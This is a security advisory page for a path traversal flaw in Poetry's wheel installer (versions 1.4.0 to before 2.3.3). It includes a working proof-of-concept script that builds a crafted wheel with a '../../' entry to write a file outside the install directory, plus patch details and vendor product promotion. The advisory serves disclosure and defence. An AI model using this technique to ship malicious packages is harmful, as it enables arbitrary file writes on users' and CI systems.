GHSA-2599-h6xx-hpxp
MEDIUMGHSA-2599-h6xx-hpxp is a medium-severity (CVSS 6.5) Path Traversal vulnerability in poetry. O3 Security confirms whether GHSA-2599-h6xx-hpxp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
Blast Radius
poetryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
POC
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | poetry | ≥ 1.4.0&&< 2.3.3 | 2.3.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for poetry. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update poetry to 2.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2599-h6xx-hpxp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2599-h6xx-hpxp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2599-h6xx-hpxp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2599-h6xx-hpxp in your dependencies?
O3 detects GHSA-2599-h6xx-hpxp across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.